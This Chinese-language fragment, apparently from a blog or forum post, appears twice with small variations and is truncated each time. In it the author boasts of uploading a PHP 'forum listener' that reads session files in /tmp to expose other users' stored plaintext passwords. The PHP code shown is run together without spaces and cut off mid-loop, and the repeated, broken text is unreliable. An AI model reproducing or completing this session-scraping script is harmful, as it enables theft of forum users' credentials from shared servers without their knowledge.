如：name|s:4:"tasm";passwd|s:6:"111111";mode|s:1:"1"，也知道该session存放的位置，而且可以上传文件，所以嘛，当时就做了一次小小的黑客，在线的朋友的密码可以一览无余，呵呵：<?functionsubmit1(){global$username;print"<title>论坛监听器</title>";$i=0;if($username=="tasm"||$username=="Tasm"){print"你也太黑了吧？连我你也查？";return;}$path="/tmp/";$d=dir($path);while(...

之所以是能写出来这个函数，主要是对该网站的session结构清楚，如：name|s:4:"tasm";passwd|s:6:"111111";mode|s:1:"1"，也知道该session存放的位置，而且可以上传文件，所以嘛，当时就做了一次小小的黑客，在线的朋友的密码可以一览无余，呵呵：<?functionsubmit1(){global$username;print"<title>论坛监听器</title>";$i=0;if($username=="tasm"|...